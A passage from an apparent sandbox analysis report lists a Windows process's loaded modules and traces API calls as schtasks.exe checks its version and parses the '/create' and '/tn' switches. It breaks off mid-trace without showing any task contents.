= 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4553 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4554 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4555 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4556 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4557 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4558 start_va = 0x4f0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 4559 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4560 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4561 start_va = 0x4f0000 end_va = 0x677fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 4562 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4563 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4564 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4565 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4566 start_va = 0x6b0000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 4567 start_va = 0x840000 end_va = 0x1c3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 4568 start_va = 0x1c0000 end_va = 0x1d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4569 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4570 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4571 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4572 start_va = 0x1c40000 end_va = 0x1f0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4573 start_va = 0x280000 end_va = 0x2fcfff monitored = 0 entry_point = 0x28cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4574 start_va = 0x3f0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 4575 start_va = 0x280000 end_va = 0x2fcfff monitored = 0 entry_point = 0x28cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4576 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4577 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4578 start_va = 0x1f10000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 4579 start_va = 0x280000 end_va = 0x35efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 4580 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4581 start_va = 0x2130000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 4582 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4583 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4584 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 4585 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4586 start_va = 0x360000 end_va = 0x360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 4587 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4588 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4591 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 212 os_tid = 0x90c [0161.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x27fc80 | out: lpSystemTimeAsFileTime=0x27fc80*(dwLowDateTime=0x2c4e9e20, dwHighDateTime=0x1d8a92a)) [0161.226] GetCurrentProcessId () returned 0x908 [0161.226] GetCurrentThreadId () returned 0x90c [0161.226] GetTickCount () returned 0x138c70c [0161.226] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x27fc88 | out: lpPerformanceCount=0x27fc88*=2064008960379) returned 1 [0161.227] GetModuleHandleW (lpModuleName=0x0) returned 0xff450000 [0161.227] __set_app_type (_Type=0x1) [0161.227] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff47972c) returned 0x0 [0161.227] __wgetmainargs (in: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248, _DoWildCard=0, _StartInfo=0xff49125c | out: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248) returned 0 [0161.228] _onexit (_Func=0xff482ab0) returned 0xff482ab0 [0161.228] _onexit (_Func=0xff482ac4) returned 0xff482ac4 [0161.228] _onexit (_Func=0xff482afc) returned 0xff482afc [0161.228] _onexit (_Func=0xff482b58) returned 0xff482b58 [0161.228] _onexit (_Func=0xff482b80) returned 0xff482b80 [0161.228] _onexit (_Func=0xff482ba8) returned 0xff482ba8 [0161.229] _onexit (_Func=0xff482bd0) returned 0xff482bd0 [0161.229] _onexit (_Func=0xff482bf8) returned 0xff482bf8 [0161.229] _onexit (_Func=0xff482c20) returned 0xff482c20 [0161.229] _onexit (_Func=0xff482c48) returned 0xff482c48 [0161.229] _onexit (_Func=0xff482c70) returned 0xff482c70 [0161.229] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0161.229] WinSqmIsOptedIn () returned 0x0 [0161.230] GetProcessHeap () returned 0x3f0000 [0161.230] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x405480 [0161.231] SetLastError (dwErrCode=0x0) [0161.231] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0161.231] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0161.231] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0161.231] VerifyVersionInfoW (in: lpVersionInformation=0x27f440, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27f440) returned 1 [0161.231] GetProcessHeap () returned 0x3f0000 [0161.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40ba00 [0161.231] lstrlenW (lpString="") returned 0 [0161.231] GetProcessHeap () returned 0x3f0000 [0161.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x2) returned 0x40ba20 [0161.231] GetProcessHeap () returned 0x3f0000 [0161.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405980 [0161.231] GetProcessHeap () returned 0x3f0000 [0161.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40ba40 [0161.231] GetProcessHeap () returned 0x3f0000 [0161.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x4059b0 [0161.231] GetProcessHeap () returned 0x3f0000 [0161.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x4059e0 [0161.231] GetProcessHeap () returned 0x3f0000 [0161.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405a10 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405a40 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40ba60 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405a70 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405aa0 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405ad0 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405b00 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40ba80 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405b30 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405b60 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405b90 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405bc0 [0161.232] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0161.232] SetLastError (dwErrCode=0x0) [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405bf0 [0161.232] GetProcessHeap () returned 0x3f0000 [0161.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405c20 [0161.233] GetProcessHeap () returned 0x3f0000 [0161.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405c50 [0161.233] GetProcessHeap () returned 0x3f0000 [0161.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405c80 [0161.233] GetProcessHeap () returned 0x3f0000 [0161.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405cb0 [0161.233] GetProcessHeap () returned 0x3f0000 [0161.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40baa0 [0161.233] _memicmp (_Buf1=0x40baa0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.233] GetProcessHeap () returned 0x3f0000 [0161.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x208) returned 0x40bc40 [0161.233] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x40bc40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0161.233] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0161.235] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0161.235] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0161.236] GetProcessHeap () returned 0x3f0000 [0161.236] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x74e) returned 0x40c1f0 [0161.236] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0161.236] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x40c1f0 | out: lpData=0x40c1f0) returned 1 [0161.236] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0161.236] VerQueryValueW (in: pBlock=0x40c1f0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27f528, puLen=0x27f590 | out: lplpBuffer=0x27f528*=0x40c58c, puLen=0x27f590) returned 1 [0161.242] _memicmp (_Buf1=0x40baa0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.242] _vsnwprintf (in: _Buffer=0x40bc40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27f508 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0161.242] VerQueryValueW (in: pBlock=0x40c1f0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27f598, puLen=0x27f588 | out: lplpBuffer=0x27f598*=0x40c3b8, puLen=0x27f588) returned 1 [0161.242] lstrlenW (lpString="schtasks.exe") returned 12 [0161.242] lstrlenW (lpString="schtasks.exe") returned 12 [0161.242] lstrlenW (lpString=".EXE") returned 4 [0161.243] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0161.244] lstrlenW (lpString="schtasks.exe") returned 12 [0161.244] lstrlenW (lpString=".EXE") returned 4 [0161.245] _memicmp (_Buf1=0x40baa0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.245] lstrlenW (lpString="schtasks") returned 8 [0161.245] GetProcessHeap () returned 0x3f0000 [0161.245] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405da0 [0161.245] GetProcessHeap () returned 0x3f0000 [0161.245] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cb00 [0161.245] GetProcessHeap () returned 0x3f0000 [0161.245] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cb30 [0161.245] GetProcessHeap () returned 0x3f0000 [0161.245] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cb60 [0161.245] GetProcessHeap () returned 0x3f0000 [0161.245] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40bac0 [0161.245] _memicmp (_Buf1=0x40bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.245] GetProcessHeap () returned 0x3f0000 [0161.245] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xa0) returned 0x40c040 [0161.245] GetProcessHeap () returned 0x3f0000 [0161.246] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cb90 [0161.246] GetProcessHeap () returned 0x3f0000 [0161.246] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cbc0 [0161.246] GetProcessHeap () returned 0x3f0000 [0161.246] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cbf0 [0161.246] GetProcessHeap () returned 0x3f0000 [0161.246] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40bae0 [0161.246] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.246] GetProcessHeap () returned 0x3f0000 [0161.246] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x200) returned 0x40d2d0 [0161.246] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0161.246] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0161.246] GetProcessHeap () returned 0x3f0000 [0161.246] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x30) returned 0x407aa0 [0161.246] _vsnwprintf (in: _Buffer=0x40c040, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27f508 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0161.246] GetProcessHeap () returned 0x3f0000 [0161.246] GetProcessHeap () returned 0x3f0000 [0161.246] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c1f0) returned 1 [0161.246] GetProcessHeap () returned 0x3f0000 [0161.246] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c1f0) returned 0x74e [0161.247] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c1f0 | out: hHeap=0x3f0000) returned 1 [0161.247] SetLastError (dwErrCode=0x0) [0161.247] GetThreadLocale () returned 0x409 [0161.247] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.247] lstrlenW (lpString="?") returned 1 [0161.247] GetThreadLocale () returned 0x409 [0161.248] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.248] lstrlenW (lpString="create") returned 6 [0161.248] GetThreadLocale () returned 0x409 [0161.248] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.248] lstrlenW (lpString="delete") returned 6 [0161.248] GetThreadLocale () returned 0x409 [0161.248] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.248] lstrlenW (lpString="query") returned 5 [0161.248] GetThreadLocale () returned 0x409 [0161.248] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.248] lstrlenW (lpString="change") returned 6 [0161.248] GetThreadLocale () returned 0x409 [0161.248] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.248] lstrlenW (lpString="run") returned 3 [0161.248] GetThreadLocale () returned 0x409 [0161.248] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.248] lstrlenW (lpString="end") returned 3 [0161.248] GetThreadLocale () returned 0x409 [0161.248] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.248] lstrlenW (lpString="showsid") returned 7 [0161.248] GetThreadLocale () returned 0x409 [0161.248] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.248] SetLastError (dwErrCode=0x0) [0161.248] SetLastError (dwErrCode=0x0) [0161.248] lstrlenW (lpString="/create") returned 7 [0161.248] lstrlenW (lpString="-/") returned 2 [0161.248] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.248] lstrlenW (lpString="?") returned 1 [0161.248] lstrlenW (lpString="?") returned 1 [0161.249] GetProcessHeap () returned 0x3f0000 [0161.249] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40c1f0 [0161.249] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.249] GetProcessHeap () returned 0x3f0000 [0161.249] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xa) returned 0x40c210 [0161.249] lstrlenW (lpString="create") returned 6 [0161.249] GetProcessHeap () returned 0x3f0000 [0161.249] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40c230 [0161.249] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.249] GetProcessHeap () returned 0x3f0000 [0161.249] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x14) returned 0x40c250 [0161.249] _vsnwprintf (in: _Buffer=0x40c210, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|?|") returned 3 [0161.249] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|create|") returned 8 [0161.249] lstrlenW (lpString="|?|") returned 3 [0161.249] lstrlenW (lpString="|create|") returned 8 [0161.249] SetLastError (dwErrCode=0x490) [0161.249] lstrlenW (lpString="create") returned 6 [0161.249] lstrlenW (lpString="create") returned 6 [0161.249] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.249] GetProcessHeap () returned 0x3f0000 [0161.249] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c210) returned 1 [0161.249] GetProcessHeap () returned 0x3f0000 [0161.249] RtlReAllocateHeap (Heap=0x3f0000, Flags=0xc, Ptr=0x40c210, Size=0x14) returned 0x40c270 [0161.250] lstrlenW (lpString="create") returned 6 [0161.254] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.254] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|create|") returned 8 [0161.254] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|create|") returned 8 [0161.254] lstrlenW (lpString="|create|") returned 8 [0161.254] lstrlenW (lpString="|create|") returned 8 [0161.254] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0161.254] SetLastError (dwErrCode=0x0) [0161.254] SetLastError (dwErrCode=0x0) [0161.254] SetLastError (dwErrCode=0x0) [0161.254] lstrlenW (lpString="/tn") returned 3 [0161.254] lstrlenW (lpString="-/") returned 2 [0161.254] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.254] lstrlenW (lpString="?") returned 1 [0161.254] lstrlenW (lpString="?") returned 1 [0161.254] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.254] lstrlenW (lpString="tn") returned 2 [0161.254] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.254] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|?|") returned 3 [0161.254] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tn|") returned 4 [0161.254] lstrlenW (lpString="|?|") returned 3 [0161.255] lstrlenW (lpString="|tn|") returned 4 [0161.255] SetLastError (dwErrCode=0x490) [0161.255] lstrlenW (lpString="create") returned 6 [0161.255] lstrlenW (lpString="create") returned 6 [0161.255] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.255] lstrlenW (lpString="tn") returned 2 [0161.255] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.255] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|create|") returned 8 [0161.255] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tn|") returned 4 [0161.255] lstrlenW (lpString="|create|") returned 8 [0161.255] lstrlenW (lpString="|tn|") returned 4 [0161.255] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0161.255] SetLastError (dwErrCode=0x490) [0161.255] lstrlenW (lpString="delete") returned 6 [0161.255] lstrlenW (lpString="delete") returned 6 [0161.255] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.255] lstrlenW (lpString="tn") returned 2 [0161.255] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.255] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|delete|") returned 8 [0161.255] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tn|") returned 4 [0161.255] lstrlenW (lpString="|delete|") returned 8 [0161.255] lstrlenW (lpString="|tn|") returned 4 [0161.255] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0161.255] SetLastError (dwErrCode=0x490) [0161.255] lstrlenW (lpString="query") returned 5 [0161.255] lstrlenW (lpString="query") returned 5 [0161.255] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.256] lstrlenW (lpString="tn") returned 2 [0161.256] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.256] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|query|") returned 7 [0161.256] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tn|") returned 4 [0161.256] lstrlenW (lpString="|query|") returned 7 [0161.256] lstrlenW (lpString="|tn|") returned 4 [0161.256] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0161.256] SetLastError (dwErrCode=0x490) [0161.256] lstrlenW (lpString="change") returned 6 [0161.256] lstrlenW (lpString="change") returned 6 [0161.256] _memicmp 